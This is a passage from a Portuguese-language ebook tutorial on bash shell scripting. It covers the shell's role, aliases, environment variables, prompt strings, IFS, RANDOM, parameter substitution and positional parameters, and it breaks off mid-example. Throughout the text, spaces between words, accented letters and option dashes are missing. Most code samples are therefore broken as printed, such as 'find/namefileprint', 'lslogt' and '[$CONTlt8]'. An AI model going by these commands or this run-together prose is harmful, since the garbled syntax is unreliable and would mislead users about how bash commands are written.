Escolar Documentos
Profissional Documentos
Cultura Documentos
eBook
Shell
Scripts
AdbeelGoesFilho
FortalezaCearBrasil
Verso2006.04.25
AdbeelGoesFilho
ShellScripts2
ADBEELGOESFILHO
Shell
Scripts
VIRTVS
Fortaleza
2006
AdbeelGoesFilho
ShellScripts3
CopyFree(C)2006daVIRTVSEngenhariaeInformticaLtda
Congregamostodososesforosparafornecerinformaesdeamplaqualidade,contudo,devidoao
dinamismodareadeinformtica,osautoresnoassumemresponsabilidadepelosresultadoseusos
dasinformaesfornecidas.
Recomentamosamplamenteaosleitorestestarasinformaesantesdesuaefetivautilizao,ao
tempoemqueagradecemosantecipadamenteporcrticasesugestesprestadas.
Copyright(c)2000,AdbeelGoesFilho.
garantidaapermissoparacopiar,distribuire/oumodificarestedocumentosobostermosda
GNUFreeDocumentationLicense,verso1.1ouqualqueroutraversoposteriorpublicadapela
FreeSoftwareFoundation;semobrigatoriedadedeSeesInvariantesnaaberturaeaofinaldos
textos.
UmacopiadalicenadeveserincludanaseointituladaGNUFreeDocumentationLicense.
Copyright(c)2000,AdbeelGoesFilho.
Permissionisgrantedtocopy,distributeand/ormodifythisdocumentunderthetermsoftheGNU
Free Documentation License, Version 1.1 or any later version published by the Free Software
Foundation;withtheInvariantSectionsbeingLISTTHEIRTITLES,withtheFrontCoverTexts
beingLIST,andwiththeBackCoverTextsbeingLIST.
Acopyofthelicenseisincludedinthesectionentitled"GNUFreeDocumentationLicense".
Estetrabalhofoieditadoecompostoeletronicamenteutilizandosomenteferramenteslivres:
Conhecimentosnecessriosparaaleituradestetrabalho:
Entendimento bsico de sistemas operacionais, Comandos bsicos de Unix, Linux, Solaris,
FreeBSD ou outro sistema operacional com base Unix, Linguagem de programao, Edio
eletrnicadetextos.
EditorResponsvel
Satis
DiagramaoeProduo
Virtvs
VIRTVSEngenhariaeInformtica
RuaCel.RibeirodaSilva,391.CEP60.325210.
MonteCastelo.FortalezaCE.Telefone:+55(85)32833124
www.virtvs.com.br
AdbeelGoesFilho
ShellScripts4
SOBREOAUTOR
AdbeelGoesFilho
adbeel@virtvs.com.bradbeel@dnocs.gov.bradbeel@terra.com.br
EngenheiroCivilpelaUniversidadeFederaldoCear(UFC).
EspecialistaemCinciadaComputaopelaUniversidadeFederaldoCear(UFC).
MestreemCinciadaComputaopelaUniversidadeFederaldoCear(UFC).
EspecialistaemMatemticaComputacionaleOtimizaodeSistemas.
DoutorandoemEngenhariaCivilRecursosHdricos(UFC)
AcadmicodeAdministraodeEmpresaspelaUniversidadeEstadualdoCear(UECE).
ProfessordoCursodeGraduaoemInformticadaUniversidadedeFortaleza(UNIFOR).
CoordenadordeGestoEstratgicadoDepartamentoNacionaldeObrasContraasSecas(DNOCS).
DiretordeEngenhariaeInformticadaVIRTVSEngenhariaeInformticaLtda
Consultornasreasdeengenhariacivileinformticaemempresaseinstituiespblicas.
Consultornareadecustoseacompanhamentodeprojetosdeengenhariacivil.
ConsultordaPERITUSProjetosePesquisasLtda,nareadeorganizao,projetoseinformtica.
ExprofessordoscursosdeProcessamentodeDados,EngenhariaCivil,Agronomia,EngenhariaeAlimentos,
Geologia,MatemticaeEstatisticadaUniversidadeFederaldoCear(UFC).
ExprofessordoCursodeBachareladoemComputaodaFaculdadeLourenoFilho.
ExdiretordeengenhariaeinformticadaRhodesEngenhariaeInformticaLtda.
ExAnalistadeSistemasdaFundaoCearensedeMeteorologia(FUNCEME).
AdbeelGoesFilho
ShellScripts5
AGRADECIMENTOS
VIRTVSEngenhariaeInformticaLtda
DepartamentoNacionaldeObrasContraasSecasDNOCS
UniversidadeFederaldoCearUFC
UniversidadedeFortalezaUNIFOR
FaculdadeLourenoFilhoFLF
AGRADECIMENTOSESPECIAIS
AosmeuspaisElsieStudarteAdbeelGoesdeOliveira
Aosmeusavs(inmemoriam)
AngelinaGoesdeOliveiraeLuisRodriguesdeOliveira
OlgaSalesLopesGurgeleBenjamimStudartGurgel
AminhaesposaCristineStudartdeSantana
AmeugrandemestreProf.Dr.GerardoValdisioRodriguesViana
AomeuorientadoracadmicoedevidaProf.Dr.ClcioFontellesThomaz
AomeuorientadoreincentivadorProf.Dr.NilsonCampos
Aosmeusgrandesmestres:
AntnioGouveiaNeto
AfrodisioDurvalGondimPamplona
AmauryAragoArajo
GensioMartinsdeArajo
SuetnioMota
VicentedePaulaBarbosaVieira
Atodososoutrosque,peloesquecimento,tipicodanaturezahumana,deixamosdecitar.
AdbeelGoesFilho
ShellScripts6
MarcasRegistradas
Duranteestetrabalhoaparecemvriasmarcasregistradas,contudo,oautordeclaraestarutilizando
taisnomesapenasparafinseditorais,embenefcioexclusivodamarcaregistrada,semamnima
intenodeinfrigirregrasdesuautilizao.
AdbeelGoesFilho
ShellScripts7
Sumrio
Capitulo1.Introduo........................................................................................................................................10
1.OShell......................................................................................................................................................10
2.Oquesoosshellscripts?......................................................................................................................12
3.Definies.................................................................................................................................................14
4.Variveis...................................................................................................................................................14
5.FormatodosArquivosdeShellScript.......................................................................................................22
6.Exercicios..................................................................................................................................................34
Capitulo2.ExecuodeProgramas..................................................................................................................36
7.Execuoemforegroundebackground....................................................................................................36
8.Redirecionamento......................................................................................................................................37
9.MetacaractereseWildcards......................................................................................................................40
10.SequnciasdeEscapeANSI...................................................................................................................44
11.CdigosdeEscape.................................................................................................................................49
12.Concluses..............................................................................................................................................50
13.Exercicios.................................................................................................................................................51
Capitulo3.ComandosCondicionais..................................................................................................................52
Capitulo4.ComandosdeRepetio.................................................................................................................62
14.while.........................................................................................................................................................62
15.for............................................................................................................................................................63
16.until..........................................................................................................................................................66
17.case.........................................................................................................................................................66
18.breakecontinue......................................................................................................................................67
19.Redirecionandoloops..............................................................................................................................69
20.select......................................................................................................................................................75
21.Funes...................................................................................................................................................78
22.Tornandoseuscriptamigvel..................................................................................................................87
23.dialog.......................................................................................................................................................89
Capitulo5.ComandosAvanados.....................................................................................................................94
1.cut..............................................................................................................................................................94
2.wc..............................................................................................................................................................98
3.tee..............................................................................................................................................................98
4.sort.............................................................................................................................................................99
5.grep..........................................................................................................................................................100
6.sed...........................................................................................................................................................106
Capitulo6.Bibliografia......................................................................................................................................113
Capitulo7.ApndiceAEndereosInternet...................................................................................................114
Capitulo8.Anexos............................................................................................................................................115
1.Exemplos..................................................................................................................................................116
2.Laboratrios.............................................................................................................................................132
3.Exercicios.................................................................................................................................................140
5.GNUFreeDocumentationLicense..........................................................................................................143
AdbeelGoesFilho
ShellScripts8
AbreviaesUtilizadas
*IX
SistemaoperacionalfundamentadoemUnix
LP
Linguagemdeprogramao
SO
SistemaOperacional
SS
Shellscript
AdbeelGoesFilho
ShellScripts9
Capitulo1.Introduo
1. OShell
Shell, ou interpretador de comandos, o programa disparado logo aps o login
responsvelpor"pegar"oscomandosdousurio,interpretloseexecutarumadeterminadaao.
Estas aes so subrotinas conhecidas pelo nome de system calls. Por exemplo, quando voc
escrevenoconsole"ls"epressiona<enter>,oshelllessastringeverificaseexistealgumcomando
interno(embutidonoprprioshell,tambmchamadodeintrnseco)comessenome.Sehouver,ele
executaessecomandointerno.Casocontrrio,elevaiprocurarnoPATHporalgumprogramaque
tenha esse nome. Se encontrar, ele executa esse programa, caso contrrio, ele retorna uma
mensagemdeerro.Paracadaterminalouconsoleaberto,existeumshellsendoexecutado.Quando
vocentranoseuLinux,eleapresentaologin,paradigitarousurioeasenha.Aodigitarumpar
usurio/senha correto, o Linux abre automaticamente um shell, que vai ficar esperando seus
comandos.
Funcionandocomoumaponte,oShellaligaoentreousurioeokernel.Okernel
quemacessaohardwaredamquina,comodiscorgido,placadevdeoemodem.Porexemplo,
paraousurioacessarumarquivoqualquer,todaestahierarquiaseguida:
USURIO>SHELL>KERNEL>HARDWARE
AntesdeComear
Sevocestacessandoosistemacomousurioadministrador(root),saiaeentrecomo
umusurionormal.muitoperigosoestudarShellusandoosuperusurio,vocpodedanificaro
sistemacomumcomandoerrado.
Vejaoexemploabaixo:
WelcometoLinuxSlackware7.1kernel2.2.16.
virtvslogin:eu
Password:
AdbeelGoesFilho
ShellScripts10
Linux2.2.16.
Lastlogin:MonSep2510:41:1203002000ontty1.
Nomail.
virtvs@mucuripe:~$
Essaltimalinhaoshell.Sevocdigitarocomando"ps",verqueumdosprogramasrodandoo
seushell.Ocomandopslistaosprocessosem:
virtvs@mucuripe:~$ps
PIDTTYTIMECMD
164tty200:00:00bash
213tty200:00:00ps
virtvs@mucuripe:~$
Ouseja,oshellutilizadonesseconsoleobash,queestrodandocomPID164.
Existemdiversostiposde shell:bash,csh,ksh,ash,etc.Porexemplo,oAIX/6000
possui5tiposde shell disponveis:korn shell (ksh),bourne shell (bsh,sh),C shell (csh),trusted
shell(tsh),restrictedshell(rsh).Odefaultparaestesistemaoksh.Omaisutilizadoatualmenteo
bash(GNUBourneAgainSHell).Porissootomaremoscomoreferncia.
Resumindoessaseo,importantesaberqueparacadaterminalouconsoleaberto,
temseumshellrodando.Assim,sevoctem3xtermsabertosnainterfacegrfica,vaiterumshell
paracadaxterm.
Aoexecutaroshellscript,oshellatual(noqualvocdeuocomando)abreumnovo
shellparaexecutaroscript.Assim,osscriptssoexecutadosemumshellprprio(amenosquese
especifique,aochamaroscript,paraexecutlonoshellatual).Issoserimportantequandoformos
tratardevariveisdeambiente.
Ousodealias
Aliasumnovonome,ouapelido,paraocomando.Podeserusadoparaabreviar
longaslinhasdecomandooufazercomquecomandoscomportemsediferentedaexecuopadro.
Sintaxe:
alias[nome[=string]]
Exemplo:
aliascls=clear
aliasls='lslogt'
aliasdir=ls
AdbeelGoesFilho
ShellScripts11
2. Oquesoos shellscripts?
Shellscriptssoconjuntosdecomandosarmazenadosemumarquivotextoqueso
executadosseqencialmente.Nestaprimeiraparte,faremosumaintroduosobreoshell,oformato
desses arquivos e variveis de ambiente. Shell pode ser standard ou restrito, na verdade um
comandoquepossibilitagerartextoscomlgicadeprogramao.muitoutilizadoparamontagem
deambientesdelogineaberturadenovosprocessosqueindicamnovaseo.
Existevriostiposdeshells,amaisutilizadaash,queumlinkdabash,ouseja
/bin/shlinkde/bin/bash
Detalhesimportantes
Qualquershellscriptcriadonecessitana"primeiralinha"deindicarondeseencontra
o shell interpretador,ousejaodestino,queporpadro #!/bin/sh,pormpodetercasosdese
localizaremoutrodiretrio.Tambmdevodizerquetodoshellscriptdeveterpermissoparaobtera
execuo.Casonosejainformadaestaprimeiralinhxoshellusaradefaultdosistema.Sintaxe:
$chmoda+xshellscript
ParacolocarcomentriosassimcomonoPERL,utilizeo#(chamadoculturalmentedesustenido)
OPrimeiroShellScript
OprimeiroShellScriptafazersero"sistema"doexemploanterior,desimplesmentejuntartrs
comandosnummesmoscript.
PassosParaCriarumShellScript
1.Escolherumnomeparaoscript
Jtemosumnome:sistema.
Useapenasletrasminsculaseeviteacentos,smboloseespaoembranco
2.Escolherodiretrioondecolocaroscript
Paraqueoscriptpossaserexecutadodequalquerpartedosistema,movaoparaumdiretrioque
estejanoseuPATH.Paraverquaissoestesdiretrios,useocomando:
echo$PATH
SenotiverpermissodemoverparaumdiretriodoPATH,deixeodentrodeseuHOME
3.Criaroarquivoecolocarneleoscomandos
AdbeelGoesFilho
ShellScripts12
UseoVIououtroeditordetextosdesuaprefernciaparacolocartodososcomandosdentrodo
arquivo.
4.ColocarachamadadoShellnaprimeiralinha
Aprimeiralinhadoscriptdeveser:
#!/bin/bash
Paraqueaoserexecutado,osistemasaibaqueoShellquemirinterpretarestescomandos.
5.Tornaroscriptumarquivoexecutvel
Useoseguintecomandoparaqueseuscriptsejareconhecidopelosistemacomoumcomando
executvel:
chmod+xsistema
ProblemasnaExecuodoScript
"Comandonoencontrado"
OShellnoencontrouoseuscript.
Verifiqueseocomandoquevocestchamandotemexatamenteomesmonomedoseuscript.
Lembrese que no Linux as letras maisculas e minsculas so diferentes, ento o comando
"SISTEMA"diferentedocomando"sistema".Casoonomeestejacorreto,verifiqueseeleestno
PATHdosistema.Ocomando
"echo$PATH"mostraquaissoosdiretriosconhecidos,movaseuscriptparadentrodeumdeles,
ouchameopassandoocaminhocompleto.
Seoscriptestivernodiretriocorrente,chameocomum"./"nafrente,assim:
$./sistema
Casocontrrio,especifiqueocaminhocompletodesdeodiretrioraiz:
$/tmp/scripts/sistema
"PermissoNegada"
OShellencontrouseuscript,maselenoexecutvel.Useocomando"chmod+xseuscript"para
tornloumarquivoexecutvel.
"ErrodeSintaxe"
OShellencontroueexecutouseuscript,pormeletemerros.
Um script s executado quando sua sintaxe est 100% correta. Verifique os seus comandos,
geralmente o erro algum IF ou aspas que foram abertos e no foram fechados. A prpria
mensageminformaonmerodalinhaondeoerrofoiencontrado.
AdbeelGoesFilho
ShellScripts13
3. Definies
BrancoeTABouespaosoamesmacoisa.Umnomeumasequnciadeletras,
digitosou underscores comeandocomumaletraou underscore.Umparmetroumnomeum
digitooualgumdessescaracteres:*,#,?,,$,e!.
Comando :umasequnciadenobrancosseparadosporbrancos.Aprimeirasequnciaou
argumentooargumento0.
Pipeline
:umasequnciadeumoumaiscomandosseparadospor|(ou,paracompatibilidade
histrica,pelo^).Afunodeumapipelinesincronizaraentradaousaidapadroparaumarquivo
dotipoFIFO.
Umalista : uma sequncia de pipelines separadas por;. &, &&, or ||, e opcionalmente,
terminadapor;ou&.
Exemplosdecomandosdoshell:
forname[inword...]dolistdone
casewordin[pattern[|pattern]...)list;;]...esac
iflistthenlist[elselistthenlist]...[elselist]fi
whilelistdolistdone
4. Variveis
Umavarivelondeoshellarmazenadeterminadosvaloresparautilizaoposterior.
Soreasdememriaondepodemserarmazenadosdados.Estesdadospodemsernmeros,textos,
listas de arquivos e at mesmo resultados da saida de comandos que podem ser utilizados
posteriormente.ExistemduascategoriasdevariveisquepodemosdefinirnoambienteUnix:
1. Variveislocais disponveissomenteparaoShellcorrente,nosendoacessadas
pelossubprocessos;
2. VariveisambientaisouglobaisdisponveistantoparaoShellcorrentecomopara
os subprocessos que venham a usar o contedo das variveis definidas. Para
transformarumavarivelcomescopoglobalutilizeocomandoexport.Exemplo:
export<varivel>
Paraavisualizaodasvariveislocais,usaseocomando set.Paraverificarquais
variveisestoexportadas,usaseocomandoenv.
Todavarivelpossuiumnomeeumvalorassociadoaela,podendoseresteltimo
vazio.Paralistarasvariveisatualmentedefinidasno shell digiteocomando set. Parasedefinir
umavarivel,bastautilizarasntaxe(Semespaoaoredordo=):
nome_da_varivel=contedo
Porexemplo,queremosdefinirumavarivelchamada"cor"comovalorde"azul":
AdbeelGoesFilho
ShellScripts14
virtvs@mucuripe:~$cor=azul
Parautilizarovalordeumavarivel,scolocarumsinalde"$"seguidodonomeda
variveloshellautomaticamentesubstituipelovalordavarivel:
virtvs@mucuripe:~$echocor
cor
virtvs@mucuripe:~$echo$cor
azul
Em alguns casos, aconselhvel colocar o nome da varivel entre chaves {}. Por
exemplo, se queroimprimir "azulescuro", comofaria ?Simplesmente echo$corescuro? No
funcionaria,poisobashvaiprocurarumavariveldenome"corescuro".Portanto, temosque
colocaronome"cor"entrechavesparadelimitaronomedavarivel:
virtvs@mucuripe:~$echo${cor}escuro
azulescuro
Algumasvariveisjsopredefinidasno shell,comooPATH,que,comofoidito
antes,armazenaocaminhodosprogramas.Porexemplo,aminhavarivelPATHcontm:
virtvs@mucuripe:~$echo$PATH
/usr/local/bin:/usr/bin:/bin:/usr/X11R6/bin:/usr/openwin/bin:/usr/games:/opt/kde/bin:
/usr/share/texmf/bin:/etc/script
ouseja,quandodigitoumcomando,como"ls",oshellvaicomearaprocurloem
/usr/local/bin, se no encontrlo, vai procurar em /usr/bin e assim por diante. Repare que os
diretriossoseparadosporumsinaldedoispontos(:).
importantedestacarqueo shell possuivriasvariveisprdefinidas,ouseja,que
possuemumsignificadoespecialparaele,entreelas:PATH,PWD,PS1,PS2,USEReUID.
Assim,quandoiniciamosumnovo shell (aoexecutaronossoscript),essasvariveis
especiaisso"herdadas"doshellpai(oqueexecutouoshellfilho).Outrasvariveisdefinidaspelo
usurio,comoavarivel"cor"nosopassadasdoshellpaiparaofilho.
Quandooscriptterminar,oseushell(shellfilho)simplesmentedesapareceecomele
tambmassuasvariveis,liberandooespaoocupadonamemria.
Para tornar uma varivel imune alterao ou deleo, devese usar o comando
readonly
Variveissomenteleituranopodemserapagadas.Elassomentedeixarodeexistirno
momentoemqueforefetuadoologoutdasessodeterminal,ouseoprogramaquecriouavarivel
forencerrado,excetonocasodeoShellscriptestarrodandonamesmainstnciadeinterpretador
queiniciouaexecuodoscriptShell.
readonlynome
Paraapagarumavarivel,useocomandounset:
AdbeelGoesFilho
ShellScripts15
unsetnome
VariveisArray
Tambmconhecidascomovetores.Estetipodevarivelserveparaarmazenarvrios
valoressobumnomeeumndice.Amaneiradedeclararvariveisarrayaseguinte:
NomeDaVariavel[Indice]=Valor
sendoqueIndicedevesernecessariamenteumvalorinteiro.
ImaginemosqueMariaqueiraarmazenarumalistadesuasfrutasfavoritasemumavarivelarray.
Paraissoelafariaoseguinte:
$FRUTA[0]=goiaba
$FRUTA[1]=manga
$FRUTA[2]=pera
$FRUTA[3]=laranja
Supondoqueelecolocouestalistaemordemdecrescentedegosto,parasabermosqualasuafruta
favoritabastadigitarmos:
$echo${FRUTA[0]}
ShellScripts16
Eparavermostodaalistadeumavezs,podemosusaroseguintecomando:
$echo${FRUTA[*]}
Existemvriasoutrasespecificaesparaarrays,aquisobsico.Esevocprecisarusararrays
demaneiramaiscomplexaqueissoprocureadocumentaooficialdobash.
Ambientedousurio
O ambiente do usurio descreve a sesso para o sistema, contendo as seguintes
informaes,geralmentearmazenadasemvariveisdeambiente:
.Caminhoparaodiretriohome
HOME;
.Paraondeenviarseucorreioeletrnico
MAIL;
.Fusohorriolocal
TZ;
.Comquenomevocselogou
LOGNAME;
.Ondeseushellpesquisaroscomandos
PATH;
.Seutipodeterminal
TERM;
.Outrasdefiniesnecessrias.
AvarivelPS1
Estaa"PromptString1"ou"PrimaryPromptString".Nadamaisdoqueoprompt
quenosmostraqueo shell estesperandoumcomando.QuandovocmudaPS1vocmudaa
aparnciadoprompt.Naminhamquinaopadro'\u@\h:\w\$'onde\usignificaonomedo
usurio,\hsignificaonomedohoste\wodiretrioatual,oquedaseguinteaparncia:
meleu@meleu:/usr/doc/LinuxHOWTOs$
Vejaalgumaspossibilidades(Verifiquemaisnomanualdobash):
\d
mostraadataatual
\h
mostraohostname
\sonomedoshell
\t ahoraatual(noestilo24horas)
\T
ahoraatual(noestilo12horas)
\u
nomedousurioqueestusandooshell
\w
nomedodiretrioatual(caminhotodo)
\W
nomedodiretrioatual(somenteonomedodiretrio)
Sevocestiverafimdeteraimpressodequeestnoshelldorootbastatrocaro'$'por'#'
ParaaprenderafazerummontedegracinhascomoPS1dumalidanoBashPromptHOWTO
AvarivelPS2
AdbeelGoesFilho
ShellScripts17
Estaa"SecondaryPromptString".usadaquandoumcomandousamaisdeuma
linha.Porexemplo:
$echom\
>e\
>l\
>e\
>u
meleu
$echo'm
>e
>l
>e
>u'
m
e
l
e
u
Estesinal'>'(maiorespao)oPS2.VocpodeusarosmesmoscaracteresespeciaisqueoPS1
usa.
AvarivelMAIL
Nadamaisdoqueoarquivoondesoguardadosseusemails.Aquinaminhamquina
euusoosendmailcomoservidordeemail,portanto:
meleu@meleu:~$echo$MAIL
/var/spool/mail/meleu
pormseestivesseusandoqmailseria:
meleu@meleu:~$echo$MAIL
/home/meleu/Mailbox
AvarivelSHLVL
Estavarivelarmazenaquantosshellsvocexecutouapartirdaprimeirashell.
Imaginequevocestusandoobasheexecutouobashdenovo,nestasituaooseu
SHLVLvale2.Vejaisto:
$echo$SHLVL
1
$bash#estouexecutandoobashapartirdobash
$echo$SHLVL
AdbeelGoesFilho
ShellScripts18
2
$exit#sadosegundobash
exit
$echo$SHLVL
1
Quandovocinicializascriptsapartirdocomando"source"oscriptexecutadono
shellpai,portantosetiverum"exit"noscriptvocvaiexecutarumlogoff.aqueestautilidade
davarivelSHLVL.QuandovocestnoshellprimrioovalordeSHLVL1.Entovocpode,
atravsdeum"if"porexemplo,executaro"exit"sseSHLVLfordiferentede1.
AvarivelPROMPT_COMMAND
Estabeminteressante.Elaarmazenaumcomandoqueserexecutadotodahoraqueo
promptexibido.Veja:
$PROMPT_COMMAND="date+%T"
19:24:13
$cd
19:24:17
$ls
GNUstep/bons.txtpratica/testeworldwritable.txtMail/hacking/progs/txts/
19:24:19
$
19:24:32
$#issoehumalinhasemnenhumcomando
19:24:49
$
Estavariveltilquandoqueremosbrincarcomoprompt,paraaprendermaissobreissoleiao
BashPromptHOWTO(v.10.Referncias).
AvarivelIFS
Oshellusaestavarivelparadividirumastringempalavrasseparadas.Normalmente
oIFSumespao,umatabulao(Tab)eumcaracterenovalinha(\n).Destamaneira:
istoehumastring
soquatropalavras,poisIFSumespaoeaspalavrasestoseparadasporespao.Agoraseeu
mudarIFSparaum':'destamaneira:
IFS=':'
entoastring:
AdbeelGoesFilho
ShellScripts19
isto:eh:uma:string
conterquatropalavras.Istotilparacasoscomonesteexemplo:
#!/bin/bash
IFS=':'
foritemin$PATH;do
echo$item
done
SeIFSforumavarivelnula(vazia),tudoserconsideradoumanicapalavra.Porexemplo:seo
IFSfornulo,todaessalinhaserconsideradaumanicapalavra
AvarivelRANDOM
Quandovocexibeestavarivel("echo$RANDOM")exibidoumnmeroaleatrio
entre0e32767.
#!/bin/bash
NUM="98$(echo$RANDOM)0"
CONT=$(echon$NUM|wcc)#quantosdigitostem?
while[$CONTlt8];do#senaotiver8digitosacrescenta0's
NUM=${NUM}0
CONT=$(echon$NUM|wcc)
done
echo$NUM
OutrasVariveis
Outrasvariveisquesomuitousadas:
MAILCHECK;HISTFILE;HOSTNAME;LS_OPTIONS;LS_COLOR;MANPATH;SHELL;
TERM;USER;PS3.
Estas so as mais utilizadas, porm existem muitas outras. Para ver quais so as
variveisdefinidasnomomentobastaentrarcomocomando"set".Eparaverapenasasvariveisde
ambienteuse"env".
Olheamanpagedobashnaseo"ShellVariables"paramaisdetalhes.
ConfigurandovariveisdoShell
nome=contedo
Nodevehaverespaoantesoudepoisdosinaldeigual.Issoasseguraqueaatribuiosejafeita
corretamente,nosendointerpretadacomoumcomandocomargumentosseparadosporespao.
Poderemostambemacessarsubstringsemvariaveisnaforma
AdbeelGoesFilho
ShellScripts20
#a=13/05/2004
#b=${a:6:4}
#echo$b
#2004
AvarivelPATH
Armazenaarelaodediretrio,usadapeloShellparapesquisadecomandos. Os
diretriosaserempesquisadosdevemestarseparadospor(:).Lembresequeosnomesdevariveis
sosensveisaocontexto,ousejaPATHnoigualaPaTh.
Exemplo:
exportPATH=/usr/bin:/usr/sbin:.
Exerccios
1. Crieumaliaslimpatelaqueexecuteocomandoclear.
2. Mudeopromptdosistemaparaqueaparea:<usurio>@<diretriocorrente>$
3. Coloqueoaliascriadoanteriormentenoseushell.
4. Elaboreumshellscriptparagerar10nmerosaleatrios.
AdbeelGoesFilho
ShellScripts21
5. FormatodosArquivosdeShellScript
Aprimeiralinhadetodoshellscriptdevecomearcomalgodotipo(Senocolocar
assumidooshellpadro):
#!/bin/bash
aqualindicacomqualshelldeverserexecutadooscript.Nesseexemplo,estamosfalandoparao
shellatualexecutaroscriptcomoshell/bin/bash.Sequisermosqueonossoscriptsejaexecutado
comoshellcsh,devemoscolocarnessaprimeiralinha:
#!/bin/csh
Comousaremosobashcomonosso shell dereferncia,todasaslinhasdosnossos
scriptscomearocom#!/bin/bash
Digamosquevocexecutafreqentementeocomando:
find/namefileprint
que procura na raiz (/) por um arquivo de nome "file". S que incmodo ficar
digitandoessecomandotodavezquesequerprocurarumarquivo.Entovamoscriarum shell
scriptquecontenhaessecomando.Vamoschamaresseshellscriptde"procura".Seucontedofica
assim:
#!/bin/bash
find/namefileprint
Tornemosagoraoarquivoexecutvel:chmod755./procura.Porm,aotentarexecutaronosso
script,teremosumproblema.
./procura
Estescriptirprocurarporumarquivochamado"file".Comoespecificarqualarquivo
queremos procurar ? Seria ideal executarmos o nosso script seguido do nome do arquivo que
queremosprocurar.Porexemplo,queremossaberondeestoarquivo"netscape":
./procuranetscape
aiqueentramas"variveisdeparmetro".
Vamossubstituirnonossoscriptalinhafind/namefileprintpor
find/name$1print
Quandoobashlavarivel"$1",eleasubstituipeloprimeiroparmetropassadona
linhadecomandoparaonossoscript.Ento,seexecutamos./procuranetscape,avarivel"$1"ser
substitudapor"netscape",comoagentequeria.Reparequeavarivel"$2"conteriaosegundo
parmetropassadoparaoscripteassimpordiante.
Sendoassim,qualquercomandocolocadoabaixode find seriaexecutadoapsele.
AdbeelGoesFilho
ShellScripts22
Esseoessencialdoshellscript:poderautomatizaraexecuodeprogramasecomandoscomose
estivessemsendodigitadosdiretamentenoconsoleouterminal.
1.
CapacidadesdesubstituiodoShell
Umacaractersticainteressantonoshellacapacidadedepodermosmanipulartextos,
nmeroseatsadadecomandosatravsdevariveis.Existem3tiposdesubstituionoShell:
1. Substituiodevariveis\parmetros;
2. Substituiodecomandos;
3. Substituiodotil;
Substituiodevariveis\parmetros
Cadavariveltemumvalor associadoaela.Quandoonomedeumavarivel for
precedidoporumasinalde$(dlar),oShellsubstituiroparmetropelocontedodavarivel.Este
procedimentoconhecidocomSubstituiodeVarivel.Umadasmaneirasdeexibirocontedo
deumavarivelusandoocomandoecho.
Existemdoistiposdeparmetros:posicionaleodepalavrachave.Seoparmetroum
digito, ento posicional. Palavras chave (tambm conhecida como variveis) podem ter seus
valoresescritos.
${variavel:string}
Se"variavel"notiversidodefinidaouforvaziasersubstitudapor"string".Ovalor
davarivelnoalterado.Vejaesteexemplo:
$echo${URL:"http://unsekurity.virtualave.net"}
http://unsekurity.virtualave.net
$echo$URL#observequeURLnaofoialterado
${variavel:=string}
Se"variavel"noestiversidodefinidaouforvazia,receber"string".Exemplo:
$echo${WWW:="http://meleu.da.ru"}
http://meleu.da.ru
$echo$WWW
http://meleu.da.ru
${variavel:?string}
Se"variavel"noestiversidodefinidoouforvazia,"string"serescritoemstderr(sadadeerro
padro).Ovalordavarivelnoalterado.Vejaumexemplo:
AdbeelGoesFilho
ShellScripts23
$echo${EDITOR:?"Nenhumeditordetexto"}
bash:EDITOR:Nenhumeditordetexto
$echo$EDITOR
${variavel:+string}
Se "variavel" estiver definida, ser substituda por "string" mas seu valor no ser alterado.
Exemplo:
$echo${BROWSER:+"BROWSERdefinidocomo\"$BROWSER\""}
BROWSERdefinidocomo"links"
VariveisSomenteLeitura
Comosabemosasvariveispodemterseuvalormodificadopelousurio,massens
quisermosvariveisqueNOpossamterseusvaloresalteradosbastadeclararmostalvarivelcomo
somenteleitura.Paratornarumavarivelreadonlypodemosusarocomando"readonly"ouento
"declarer".
Vejaosexemplosaseguir,ambospossuemomesmoresultado:
$readonlyNOME="MeleuZord"
$echo$NOME
MeleuZord
$declarerNOME="MeleuZord"
$echo$NOME
MeleuZord
$NOME=Fulano
bash:NOME:readonlyvariable
$echo$NOME
MeleuZord
Umbomusodestetipodevarivelparagarantirquevariveisimportantesdeum
determinadoscriptnopossamsersobregravadas,evitandoassimalgumresultadocrtico.
Ocomando"readonly"quandousadosemparmetros(ouocomando"declare"apenas
comoparmetro"r")nosmostratodasasvariveisdeclaradascomosomenteleitura.Noexemploa
seguirseforusado"declarer"nolugarde"readonly"teramosamesmasada.
$readonly
declarearBASH_VERSINFO='([0]="2"[1]="05"[2]="0"[3]="1"[4]="release"
[5]="i386slackwarelinuxgnu")'
declareirEUID="1005"
declareirPPID="1"
AdbeelGoesFilho
ShellScripts24
declarer
SHELLOPTS="braceexpand:hashall:histexpand:monitor:ignoreeof:interactivecomments:emacs"
declareirUID="1005"
Existemvariveissomenteleituraquesoinicializadaspeloshell,comoUSER,UID.
TODASasvariveis readonly umavezdeclaradasnopodemser"unsetadas"outerseusvalores
modificados.Onicomeiodeapagarasvariveis readonly declaradaspelousuriosaindodo
shell(logout).
Parmetros
Podemospassarparmetrosparaoshellscriptassimcomonamaioriadosprogramas.
Osparmetrossovariveis,digamos,especiais.Paracomearelasnoobedecemasregrasde
nomeclaturadevariveis,poiselasusamnmeros;etambmnsnopodemosmudarovalordestas
variveispelasvias"tradicionais",paramudarovalordestasnstemosquecontarcomaajudado
shifte/oudoset(comoveremosadiante).
Vejaestarelao:
$0
onomedoshellscript(parmetrozero);
$1a$9
$1oprimeiroparmetro,$9onono,eassimpordiante;
${10},${11}..
quandoonmerodoparmetropossuimaisdeumdgitonecessrioouso
daschaves;
$*
todososparmetrosemumanicastring(excetoo$0)
$@
todososparmetros,cadaumemstringsseparadas(exceto$0)
$#
nmerodeparmetros(semcontarcomo$0).
$?
valorderetornodoltimocomando(explicadomaisadiante);
$$
PIDdoscript;
$!
PIDdoltimocomandoiniciadocom&
AdbeelGoesFilho
ShellScripts25
Exemplo:
#!/bin/bash
#
#"basename"serveparaeliminarocaminhodoarquivoemostrar
#somenteoltimonomedele.Nestecaso:parametros.sh
echo"Nomedoscript:`basename$0`"
echo"Nmerototaldeparmetros:$#"
echo"Primeiroparmetro:$1"
echo"Segundoparmetro:$2"
echo"Dcimoquintoparmetro:${15}"
echo"Todososparmetros:$*"
$./parametros.shabcdefghijlmnopqrstuvxz
Nomedoscript:parametros.sh
Nmerototaldeparmetros:23
Primeiroparmetro:a
Segundoparmetro:b
Dcimoquintoparmetro:p
Todososparmetros:abcdefghijlmnopqrstuvxz
Sevocnoentendeudireitoadiferenaentreo$*eo$@,entodumaolhadanoseguintescript
(se no entendlo tudo bem, siga em frente e quando aprender sobre o "if" e o "for" leiao
novamente):
Exemplo:
#!/bin/bash
#Aoexecutarestescriptentrealgunsparametros.Ex.:
#[prompt]$./testargs.shumdoistresquatro
if[z"$1"];then
